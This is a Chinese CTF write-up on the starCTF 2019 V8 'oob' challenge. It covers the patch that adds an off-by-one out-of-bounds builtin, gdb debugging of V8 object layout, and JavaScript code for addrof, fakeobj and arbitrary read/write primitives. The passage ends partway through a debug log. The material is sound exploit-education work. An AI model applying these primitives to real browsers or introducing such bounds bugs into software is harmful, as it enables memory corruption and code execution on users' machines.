-
-
[原创]v8漏洞调试学习--starctf2019 oob
-
2021-5-11 17:47 10373
-
参考
https://faraz.faith/2019-12-13-starctf-oob-v8-indepth/
chrome源码
https://source.chromium.org/chromium/chromium/src/+/main:v8/src/objects/js-objects.h;drc=834cb0651d5b24307b3df8007c2bc6bd5db93c29;l=299
js语法
https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/DataView
1.编译v8
1 2 3 4 5 6 7 8 9 10 11 12 | git clone https: / / chromium.googlesource.com / chromium / tools / depot_tools.git echo "export PATH=/home/user1/Downloads/v8/depot_tools:$PATH" >> ~ / .bashrc fetch v8 cd v8 . / build / install - build - deps.sh git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598 gclient sync git apply .. / starctf2019_oob / oob.diff #题目的patch . / tools / dev / v8gen.py x64.release ninja - C . / out.gn / x64.release #release版本 . / tools / dev / v8gen.py x64.debug ninja - C . / out.gn / x64.debug # Debug 版本 |
oob.diff文件如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 | diff - - git a / src / bootstrapper.cc b / src / bootstrapper.cc index b027d36..ef1002f 100644 - - - a / src / bootstrapper.cc + + + b / src / bootstrapper.cc @@ - 1668 , 6 + 1668 , 8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, Builtins::kArrayPrototypeCopyWithin, 2 , false); SimpleInstallFunction(isolate_, proto, "fill" , Builtins::kArrayPrototypeFill, 1 , false); + SimpleInstallFunction(isolate_, proto, "oob" , + Builtins::kArrayOob, 2 ,false); SimpleInstallFunction(isolate_, proto, "find" , Builtins::kArrayPrototypeFind, 1 , false); SimpleInstallFunction(isolate_, proto, "findIndex" , diff - - git a / src / builtins / builtins - array.cc b / src / builtins / builtins - array.cc index 8df340e .. 9b828ab 100644 - - - a / src / builtins / builtins - array.cc + + + b / src / builtins / builtins - array.cc @@ - 361 , 6 + 361 , 27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate * isolate, return * final_length; } } / / namespace + BUILTIN(ArrayOob){ + uint32_t len = args.length(); + if ( len > 2 ) return ReadOnlyRoots(isolate).undefined_value(); + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object ::ToObject(isolate, args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array - >elements()); + uint32_t length = static_cast<uint32_t>(array - >length() - >Number()); + if ( len = = 1 ){ + / / read + return * (isolate - >factory() - >NewNumber(elements.get_scalar(length))); + } else { + / / write + Handle< Object > value; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object ::ToNumber(isolate, args.at< Object >( 1 ))); + elements. set (length,value - >Number()); + return ReadOnlyRoots(isolate).undefined_value(); + } + } BUILTIN(ArrayPush) { HandleScope scope(isolate); diff - - git a / src / builtins / builtins - definitions.h b / src / builtins / builtins - definitions.h index 0447230. .f113a81 100644 - - - a / src / builtins / builtins - definitions.h + + + b / src / builtins / builtins - definitions.h @@ - 368 , 6 + 368 , 7 @@ namespace internal { TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ / * https: / / tc39.github.io / proposal - flatMap / #sec-Array.prototype.flatMap */ \ TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \ + CPP(ArrayOob) \ \ / * ArrayBuffer * / \ / * ES #sec-arraybuffer-constructor */ \ diff - - git a / src / compiler / typer.cc b / src / compiler / typer.cc index ed1e4a5..c199e3a 100644 - - - a / src / compiler / typer.cc + + + b / src / compiler / typer.cc @@ - 1680 , 6 + 1680 , 8 @@ Type Typer::Visitor::JSCallTyper( Type fun, Typer * t) { return Type ::Receiver(); case Builtins::kArrayUnshift: return t - >cache_ - >kPositiveSafeInteger; + case Builtins::kArrayOob: + return Type ::Receiver(); / / ArrayBuffer functions. case Builtins::kArrayBufferIsView: |
2.漏洞成因
提供diff文件的浏览器漏洞利用题目,第一步就是要认真查看diff文件,确定出题者增加的漏洞具体信息。观察oob.diff补丁文件可以发现,出题者主要增加了三部分内容。
首先,为Array对象增加了一个oob函数,内部表示为kArrayOob:
1 2 3 4 5 6 7 8 9 10 11 | - - - a / src / bootstrapper.cc + + + b / src / bootstrapper.cc @@ - 1668 , 6 + 1668 , 8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object, Builtins::kArrayPrototypeCopyWithin, 2 , false); SimpleInstallFunction(isolate_, proto, "fill" , Builtins::kArrayPrototypeFill, 1 , false); + SimpleInstallFunction(isolate_, proto, "oob" , + Builtins::kArrayOob, 2 ,false); / / 增加了一个oob成员函数 SimpleInstallFunction(isolate_, proto, "find" , Builtins::kArrayPrototypeFind, 1 , false); SimpleInstallFunction(isolate_, proto, "findIndex" , |
然后,增加了kArrayOob函数的具体实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | - - - a / src / builtins / builtins - array.cc + + + b / src / builtins / builtins - array.cc @@ - 361 , 6 + 361 , 27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate * isolate, return * final_length; } } / / namespace + BUILTIN(ArrayOob){ + uint32_t len = args.length(); + if ( len > 2 ) return ReadOnlyRoots(isolate).undefined_value(); + Handle<JSReceiver> receiver; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, receiver, Object ::ToObject(isolate, args.receiver())); + Handle<JSArray> array = Handle<JSArray>::cast(receiver); + FixedDoubleArray elements = FixedDoubleArray::cast(array - >elements()); + uint32_t length = static_cast<uint32_t>(array - >length() - >Number()); + if ( len = = 1 ){ + / / read + return * (isolate - >factory() - >NewNumber(elements.get_scalar(length))); / / off by one越界读取 + } else { + / / write + Handle< Object > value; + ASSIGN_RETURN_FAILURE_ON_EXCEPTION( + isolate, value, Object ::ToNumber(isolate, args.at< Object >( 1 ))); + elements. set (length,value - >Number()); / / off by one越界写 + return ReadOnlyRoots(isolate).undefined_value(); + } + } |
从上面看diff的增加的主要逻辑在第二部分。
大致意思就是:获取oob函数的参数,当参数个数为1时,读取数组第length个元素的内容,否则将第length个元素改写为args输入参数中的第二个参数,注意上述参数个数是C++中的参数长度。
我们都知道C++中成员函数的第一个参数必定是this指针,因此上述逻辑转换为JavaScript中的对应逻辑就是,当oob函数的参数为空时,返回数组对象第length个元素内容;当oob函数参数个数不为0时,就将第一个参数写入到数组中的第length个元素位置。
3.数据类型
Double: Shown as the 64-bit binary representation without any changes
Smi: Represented as value << 32, i.e 0xdeadbeef is represented as 0xdeadbeef00000000
Pointers: Represented as addr & 1. 0x2233ad9c2ed8 is represented as 0x2233ad9c2ed9
v8无法表示64位整数,因此需要编写函数实现浮点数与64位整数之间的转换。函数实现如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | / / / Helper functions to convert between float and integer primitives var buf = new ArrayBuffer( 8 ); / / 8 byte array buffer var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); function ftoi(val) { / / typeof(val) = float f64_buf[ 0 ] = val; return BigInt(u64_buf[ 0 ]) + (BigInt(u64_buf[ 1 ]) << 32n ); / / Watch for little endianness } function itof(val) { / / typeof(val) = BigInt u64_buf[ 0 ] = Number(val & 0xffffffffn ); u64_buf[ 1 ] = Number(val >> 32n ); return f64_buf[ 0 ]; } |
4. gdb调试越界读
通过debug版本的调试,了解JSArray数据结构
调试命令如下:
1 | gdb - x .. / v8 / tools / gdbinit - x .. / v8 / tools / gdb - v8 - support.py - - args .. / v8 / out.gn / x64.debug / d8 - - allow - natives - synta |
调试过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 | pwndbg> r Starting program: / home / user1 / Downloads / v8 / v8 / out.gn / x64.debug / d8 - - allow - natives - syntax ERROR: Could not find ELF base! [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . [New Thread 0x7f28cdfc0700 (LWP 7929 )] [New Thread 0x7f28cd7bf700 (LWP 7930 )] [New Thread 0x7f28ccfbe700 (LWP 7931 )] V8 version 7.5 . 0 (candidate) d8> var a = [ 1.1 , 2.2 ]; undefined d8> % DebugPrint(a); DebugPrint: 0x2642e648dd79 : [JSArray] - map : 0x2471f8a42ed9 < Map (PACKED_DOUBLE_ELEMENTS)> [FastProperties] - prototype: 0x2679cd991111 <JSArray[ 0 ]> - elements: 0x2642e648dd59 <FixedDoubleArray[ 2 ]> [PACKED_DOUBLE_ELEMENTS] - length: 2 - properties: 0x049475f80c71 <FixedArray[ 0 ]> { #length: 0x2b6cc32c01a9 <AccessorInfo> (const accessor descriptor) } - elements: 0x2642e648dd59 <FixedDoubleArray[ 2 ]> { 0 : 1.1 1 : 2.2 } 0x2471f8a42ed9 : [ Map ] - type : JS_ARRAY_TYPE - instance size: 32 - inobject properties: 0 - elements kind: PACKED_DOUBLE_ELEMENTS - unused property fields: 0 - enum length: invalid - back pointer: 0x2471f8a42e89 < Map (HOLEY_SMI_ELEMENTS)> - prototype_validity cell: 0x2b6cc32c0609 <Cell value = 1 > - instance descriptors #1: 0x2679cd991f49 <DescriptorArray[1]> - layout descriptor: (nil) - transitions #1: 0x2679cd991eb9 <TransitionArray[4]>Transition array #1: 0x049475f84ba1 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_DOUBLE_ELEMENTS) - > 0x2471f8a42f29 < Map (HOLEY_DOUBLE_ELEMENTS)> - prototype: 0x2679cd991111 <JSArray[ 0 ]> - constructor: 0x2679cd990ec1 <JSFunction Array (sfi = 0x2b6cc32caca1 )> - dependent code: 0x049475f802c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 [ 1.1 , 2.2 ] d8> % SystemBreak() Thread 1 "d8" received signal SIGTRAP, Trace / breakpoint trap. v8::base::OS::DebugBreak () at .. / .. / src / base / platform / platform - posix.cc: 428 428 } LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA RAX 0x0 RBX 0x7f28d1f9a7c0 ◂— push rbp RCX 0x0 RDX 0x7f28d0a61e73 ◂— '0 == args.length()' RDI 0x0 RSI 0x0 R8 0x7ffe884900d3 ◂— 0x0 R9 0x3a R10 0xd R11 0x7f28d2eac280 (v8::base::OS::DebugBreak()) ◂— push rbp R12 0x2679cd981869 ◂— 0x49475f80f R13 0x55dcca0c7f80 —▸ 0x49475f80751 ◂— 0x820000049475f807 R14 0x0 R15 0x7ffe8849c5c8 —▸ 0x49475f804d1 ◂— 0x49475f805 RBP 0x7ffe8849c470 —▸ 0x7ffe8849c4e0 —▸ 0x7ffe8849c560 —▸ 0x7ffe8849c580 —▸ 0x7ffe8849c5b8 ◂— ... RSP 0x7ffe8849c470 —▸ 0x7ffe8849c4e0 —▸ 0x7ffe8849c560 —▸ 0x7ffe8849c580 —▸ 0x7ffe8849c5b8 ◂— ... RIP 0x7f28d2eac285 (v8::base::OS::DebugBreak() + 5 ) ◂— pop rbp ──────────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────────────────────── ► 0x7f28d2eac285 <v8::base::OS::DebugBreak() + 5 > pop rbp 0x7f28d2eac286 <v8::base::OS::DebugBreak() + 6 > ret ↓ 0x7f28d1f9ab11 mov rsi, qword ptr [rbp - 0x20 ] 0x7f28d1f9ab15 lea rdi, [rbp - 0x50 ] 0x7f28d1f9ab19 call v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate * )@plt <v8::internal::ReadOnlyRoots::ReadOnlyRoots(v8::internal::Isolate * )@plt> 0x7f28d1f9ab1e lea rdi, [rbp - 0x50 ] 0x7f28d1f9ab22 call 0x7f28d2a7c720 < 0x7f28d2a7c720 > 0x7f28d1f9ab27 mov qword ptr [rbp - 0x48 ], rax 0x7f28d1f9ab2b mov rax, qword ptr [rbp - 0x48 ] 0x7f28d1f9ab2f mov qword ptr [rbp - 8 ], rax 0x7f28d1f9ab33 lea rdi, [rbp - 0x38 ] ──────────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────────── In file : / home / user1 / Downloads / v8 / v8 / src / base / platform / platform - posix.cc 423 / / Software breakpoint instruction is 0x0001 424 asm volatile( ".word 0x0001" ); 425 #else 426 #error Unsupported host architecture. 427 #endif ► 428 } 429 430 431 class PosixMemoryMappedFile final : public OS::MemoryMappedFile { 432 public: 433 PosixMemoryMappedFile( FILE * file , void * memory, size_t size) 00 : 0000 │ rbp rsp 0x7ffe8849c470 —▸ 0x7ffe8849c4e0 —▸ 0x7ffe8849c560 —▸ 0x7ffe8849c580 —▸ 0x7ffe8849c5b8 ◂— ... 01 : 0008 │ 0x7ffe8849c478 —▸ 0x7f28d1f9ab11 ◂— mov rsi, qword ptr [rbp - 0x20 ] 02 : 0010 │ 0x7ffe8849c480 ◂— 0x1007ffe8849c4a8 03 : 0018 │ 0x7ffe8849c488 —▸ 0x7f28d0a2e180 ◂— 'length_ >= 0' 04 : 0020 │ 0x7ffe8849c490 ◂— 0xfffffffd 05 : 0028 │ 0x7ffe8849c498 ◂— 0x0 06 : 0030 │ 0x7ffe8849c4a0 ◂— 0x0 07 : 0038 │ 0x7ffe8849c4a8 —▸ 0x55dcca0c7f00 —▸ 0x7ffe8849d4a0 ◂— 0x55dcca0c7f00 ────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x7f28d2eac285 v8::base::OS::DebugBreak() + 5 f 1 0x7f28d1f9ab11 f 2 0x7f28d1f9a8d7 f 3 0x7f28d27701db Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit + 59 f 4 0x7f28d2945672 Builtins_CallRuntimeHandler + 178 f 5 0x7ffe8849c590 f 6 0x7ffe8849c590 f 7 0x7ffe8849c5f0 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x / 4gx 0x2642e648dd79 - 1 0x2642e648dd78 : 0x00002471f8a42ed9 0x0000049475f80c71 0x2642e648dd88 : 0x00002642e648dd59 0x0000000200000000 pwndbg> x / 10gx 0x00002642e648dd59 - 1 0x2642e648dd58 : 0x0000049475f814f9 0x0000000200000000 0x2642e648dd68 : 0x3ff199999999999a 0x400199999999999a 0x2642e648dd78 : 0x00002471f8a42ed9 0x0000049475f80c71 0x2642e648dd88 : 0x00002642e648dd59 0x0000000200000000 0x2642e648dd98 : 0x0000049475f80941 0x00000adc49efffe6 pwndbg> p / f 0x3ff199999999999a $ 1 = 1.1000000000000001 pwndbg> p / f 0x400199999999999a $ 2 = 2.2000000000000002 |
通过上面的调试,我们知道,JSArray的第一个元素是map,第二个元素是properties,第三个元素是elements指针,指向FixedDoubleArray,并且排列在JSArray前面。
那么我们就可以通过oob的越界读和越界写来泄露map和改写map,map表示该对象的类型,通过改写map就可以改变对象的类型,造成类型混淆。
但是由于debug版本会检查数组越界,不能调试。因此,我们调试release版本。
release版本的调试命令如下:
1 | gdb - - args .. / v8 / out.gn / x64.release / d8 - - allow - natives - syntax - - shell pwn.js |
其中pwn.js就是上面的数据类型转化脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | / / / Helper functions to convert between float and integer primitives var buf = new ArrayBuffer( 8 ); / / 8 byte array buffer var f64_buf = new Float64Array(buf); var u64_buf = new Uint32Array(buf); function ftoi(val) { / / typeof(val) = float f64_buf[ 0 ] = val; return BigInt(u64_buf[ 0 ]) + (BigInt(u64_buf[ 1 ]) << 32n ); / / Watch for little endianness } function itof(val) { / / typeof(val) = BigInt u64_buf[ 0 ] = Number(val & 0xffffffffn ); u64_buf[ 1 ] = Number(val >> 32n ); return f64_buf[ 0 ]; } |
调试过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 | pwndbg> r Starting program: / home / user1 / Downloads / v8 / v8 / out.gn / x64.release / d8 - - allow - natives - syntax - - shell pwn.js ERROR: Could not find ELF base! [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . [New Thread 0x7ffff661a700 (LWP 13793 )] [New Thread 0x7ffff5e19700 (LWP 13794 )] [New Thread 0x7ffff5618700 (LWP 13795 )] [ + ] Controlled float array: 0xb5e64e0f2d1 V8 version 7.5 . 0 (candidate) d8> var a = [ 1.1 , 2.2 ]; undefined d8> % DebugPrint(a); 0x0b5e64e0f551 <JSArray[ 2 ]> [ 1.1 , 2.2 ] d8> a.oob(); 1.6144441094084e - 310 d8> "0x" + ftoi(a.oob()).toString( 16 ); "0x1db823d82ed9" d8> % SystemBreak() Thread 1 "d8" received signal SIGTRAP, Trace / breakpoint trap. 0x00005555561647a1 in v8::base::OS::DebugBreak() () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────────── RAX 0x0 RBX 0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50 RCX 0x5555560e9500 (Builtins_CallRuntimeHandler) ◂— push rbp RDX 0x555556320e50 —▸ 0x7fffffffdfd0 ◂— 0x555556320e50 RDI 0x0 RSI 0x7fffffffd928 —▸ 0x2aecc36404d1 ◂— 0x2aecc36405 R8 0x2b69e17c1869 ◂— 0x2aecc3640f R9 0x3a R10 0x100000000 R11 0xfffffffffffffffb R12 0x5555563a82c0 ◂— 0x0 R13 0x555556320ed0 —▸ 0x2aecc3640751 ◂— 0xb600002aecc36407 R14 0x0 R15 0x5555563a6388 ◂— 0x1baddead0baddeaf RBP 0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ... RSP 0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov r14, qword ptr [rbx + 0x58 ] RIP 0x5555561647a1 (v8::base::OS::DebugBreak() + 1 ) ◂— ret ► 0x5555561647a1 <v8::base::OS::DebugBreak() + 1 > ret < 0x555555e1b825 > ↓ 0x555555e1b825 mov r14, qword ptr [rbx + 0x58 ] 0x555555e1b829 mov rsi, qword ptr [rbx + 0x9da8 ] 0x555555e1b830 mov qword ptr [rbx + 0x9da8 ], r15 0x555555e1b837 add dword ptr [rbx + 0x9db8 ], - 1 0x555555e1b83e cmp qword ptr [rbx + 0x9db0 ], r12 0x555555e1b845 je 0x555555e1b860 < 0x555555e1b860 > ↓ 0x555555e1b860 mov rdi, r15 0x555555e1b863 call 0x555555b4b2d0 < 0x555555b4b2d0 > 0x555555e1b868 mov rax, r14 0x555555e1b86b pop rbx ──────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────────── 00 : 0000 │ rsp 0x7fffffffd8a8 —▸ 0x555555e1b825 ◂— mov r14, qword ptr [rbx + 0x58 ] 01 : 0008 │ 0x7fffffffd8b0 —▸ 0x555555e1b7f0 ◂— push rbp 02 : 0010 │ 0x7fffffffd8b8 —▸ 0x5555562d0740 (v8::internal::kIntrinsicFunctions) ◂— 0x0 03 : 0018 │ 0x7fffffffd8c0 ◂— 0x0 04 : 0020 │ 0x7fffffffd8c8 —▸ 0x7fffffffd928 —▸ 0x2aecc36404d1 ◂— 0x2aecc36405 05 : 0028 │ rbp 0x7fffffffd8d0 —▸ 0x7fffffffd8f8 —▸ 0x7fffffffd918 —▸ 0x7fffffffd950 —▸ 0x7fffffffd978 ◂— ... 06 : 0030 │ 0x7fffffffd8d8 —▸ 0x555556095f94 (Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit + 52 ) ◂— cmp rax, qword ptr [r13 + 0xb8 ] 07 : 0038 │ 0x7fffffffd8e0 ◂— 0xffffffffffffffff ────────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────── ► f 0 0x5555561647a1 v8::base::OS::DebugBreak() + 1 f 1 0x555555e1b825 f 2 0x555556095f94 Builtins_CEntry_Return1_DontSaveFPRegs_ArgvInRegister_NoBuiltinExit + 52 f 3 0x5555560e9552 Builtins_CallRuntimeHandler + 82 f 4 0x5555560091a6 Builtins_InterpreterEntryTrampoline + 678 f 5 0x2aecc36404d1 f 6 0x3a00000000 f 7 0x2b69e17e39a1 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> x / 4gx 0x0b5e64e0f551 - 1 0xb5e64e0f550 : 0x00001db823d82ed9 0x00002aecc3640c71 0xb5e64e0f560 : 0x00000b5e64e0f531 0x0000000200000000 |
5. 通过改写map指针实现泄露对象地址原语和伪造对象原语
对象的map表示以下信息:
The dynamic type of the object, i.e. String, Uint8Array, HeapNumber, …
The size of the object in bytes
The properties of the object and where they are stored
The type of the array elements, e.g. unboxed doubles or tagged pointers
The prototype of the object if any
通过修改一个object array的map为float array的map,则可以将object的地址泄露出来。详细调试过程如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | pwndbg> r Starting program: / home / user1 / Downloads / v8 / v8 / out.gn / x64.release / d8 - - allow - natives - syntax - - shell pwn.js ERROR: Could not find ELF base! [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . [New Thread 0x7ffff661a700 (LWP 22583 )] [New Thread 0x7ffff5e19700 (LWP 22584 )] [New Thread 0x7ffff5618700 (LWP 22585 )] [ + ] Controlled float array: 0x1dbce0a8f2d1 V8 version 7.5 . 0 (candidate) d8> float_arr = [ 1.1 , 1.2 ]; [ 1.1 , 1.2 ] d8> var float_arr_map = float_arr.oob(); undefined d8> var obj = { "A" : 1.1 }; undefined d8> var obj_arr = [obj]; undefined d8> obj_arr.oob(float_arr_map); undefined d8> "0x" + ftoi(obj_arr[ 0 ]).toString( 16 ); "0x1dbce0a91c99" d8> % DebugPrint(obj); 0x1dbce0a91c99 < Object map = 0xd5aaf14ab89 > {A: 1.1 } |
同理,将float array的map改为object array的map,则可以伪造一个虚假对象。
相应的读对象地址原语和伪造对象原语的函数如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | / / / Construct addrof primitive var temp_obj = { "A" : 1 }; var obj_arr = [temp_obj]; var float_arr = [ 1.1 , 1.2 , 1.3 , 1.4 ]; var obj_arr_map = obj_arr.oob(); var float_arr_map = fl_arr.oob(); function addrof(in_obj) { / / First, put the obj whose address we want to find into index 0 obj_arr[ 0 ] = in_obj; / / Change the obj array 's map to the float array' s map obj_arr.oob(float_arr_map); / / Get the address by accessing index 0 let addr = obj_arr[ 0 ]; / / Set the map back obj_arr.oob(obj_arr_map); / / Return the address as a BigInt return ftoi(addr); } function fakeobj(addr) { / / First, put the address as a float into index 0 of the float array float_arr[ 0 ] = itof(addr); / / Change the float array 's map to the obj array' s map float_arr.oob(obj_arr_map); / / Get a "fake" object at that memory location and store it let fake = float_arr[ 0 ]; / / Set the map back float_arr.oob(float_arr_map); / / Return the object return fake; } |
6. 构造任意地址读写原语
6.1 通过构造fake float array实现任意地址读
将float array的element指针改写为任意地址,就可以任意地址读了。
如何改写到element指针呢?
在一个float array “arb_rw_arr”中伪造一个float array “fake”,通过arb_rw_arr来改写element指针,通过fake来读取内容。具体代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 | / / This array is what we will use to read from and write to arbitrary memory addresses var arb_rw_arr = [float_arr_map, 1.2 , 1.3 , 1.4 ]; console.log( "[+] Controlled float array: 0x" + addrof(arb_rw_arr).toString( 16 )); function arb_read(addr) { / / We have to use tagged pointers for reading, so we tag the addr if (addr % 2n = = 0 ) addr + = 1n ; / / Place a fakeobj right on top of our crafted array with a float array map let fake = fakeobj(addrof(arb_rw_arr) - 0x20n ); / / Change the elements pointer using our crafted array to read_addr - 0x10 arb_rw_arr[ 2 ] = itof(BigInt(addr) - 0x10n ); / / Index 0 will then return the value at read_addr return ftoi(fake[ 0 ]); } function initial_arb_write(addr, val) { / / Place a fakeobj right on top of our crafted array with a float array map let fake = fakeobj(addrof(arb_rw_arr) - 0x20n ); / / Change the elements pointer using our crafted array to write_addr - 0x10 arb_rw_arr[ 2 ] = itof(BigInt(addr) - 0x10n ); / / Write to index 0 as a floating point value fake[ 0 ] = itof(BigInt(val)); } |
6.2 通过构造fake ArrayBuffer实现任意地址写
但是仅仅使用element指针来改写fake的元素,会报错。需要结合ArrayBuffer来实现任意地址写原语。通过改写ArrayBuffer的backing_store指针,既可实现任意地址写。代码如下:
1 2 3 4 5 6 7 8 | function arb_write(addr, val) { let buf = new ArrayBuffer( 8 ); let dataview = new DataView(buf); let buf_addr = addrof(buf); let backing_store_addr = buf_addr + 0x20n ; initial_arb_write(backing_store_addr, addr); dataview.setBigUint64( 0 , BigInt(val), true); } |
ArrayBuffer数据结构调试如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 | pwndbg> r Starting program: / home / user1 / Downloads / v8 / v8 / out.gn / x64.debug / d8 - - allow - natives - syntax ERROR: Could not find ELF base! [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1" . [New Thread 0x7f5d5d872700 (LWP 28894 )] [New Thread 0x7f5d5d071700 (LWP 28895 )] [New Thread 0x7f5d5c870700 (LWP 28896 )] V8 version 7.5 . 0 (candidate) d8> let buf = new ArrayBuffer( 8 ); let dataview = new DataView(buf);undefined d8> % DebugPrint(buf) DebugPrint: 0xc8569c4dd51 : [JSArrayBuffer] - map : 0x0022cd2421b9 < Map (HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x33da3794e981 < Object map = 0x22cd242209 > - elements: 0x23d58c9c0c71 <FixedArray[ 0 ]> [HOLEY_ELEMENTS] - embedder fields: 2 - backing_store: 0x5646da124120 - byte_length: 8 - detachable - properties: 0x23d58c9c0c71 <FixedArray[ 0 ]> {} - embedder fields = { 0 , aligned pointer: (nil) 0 , aligned pointer: (nil) } 0x22cd2421b9 : [ Map ] - type : JS_ARRAY_BUFFER_TYPE - instance size: 64 - inobject properties: 0 - elements kind: HOLEY_ELEMENTS - unused property fields: 0 - enum length: invalid - stable_map - back pointer: 0x23d58c9c04d1 <undefined> - prototype_validity cell: 0x244a7cbc0609 <Cell value = 1 > - instance descriptors (own) #0: 0x23d58c9c0259 <DescriptorArray[0]> - layout descriptor: (nil) - prototype: 0x33da3794e981 < Object map = 0x22cd242209 > - constructor: 0x33da3794e7e9 <JSFunction ArrayBuffer (sfi = 0x244a7cbd1509 )> - dependent code: 0x23d58c9c02c1 <Other heap object (WEAK_FIXED_ARRAY_TYPE)> - construction counter: 0 [ object ArrayBuffer] d8> % SystemBreak() Thread 1 "d8" received signal SIGTRAP, Trace / breakpoint trap. v8::base::OS::DebugBreak () at .. / .. / src / base / platform / platform - posix.cc: 428 428 } LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────────── RAX 0x0 RBX 0x7f5d6184c7c0 ◂— push rbp RCX 0x0 RDX 0x7f5d60313e73 ◂— '0 == args.length()' RDI 0x0 RSI 0x0 R8 0x7ffd0e7e00d3 ◂— 0x0 R9 0x3a R10 0xd R11 0x7f5d6275e280 (v8::base::OS::DebugBreak()) ◂— push rbp R12 0x33da37941869 ◂— 0x23d58c9c0f R13 0x5646da124f80 —▸ 0x23d58c9c0751 ◂— 0x2e000023d58c9c07 R14 0x0 R15 0x7ffd0e7e5a78 —▸ 0x23d58c9c04d1 ◂— 0x23d58c9c05 RBP 0x7ffd0e7e5920 —▸ 0x7ffd0e7e5990 —▸ 0x7ffd0e7e5a10 —▸ 0x7ffd0e7e5a30 —▸ 0x7ffd0e7e5a68 ◂— ... RSP 0x7ffd0e7e5920 —▸ 0x7ffd0e7e5990 —▸ 0x7ffd0e7e5a10 —▸ 0x7ffd0e7e5a30 —▸ 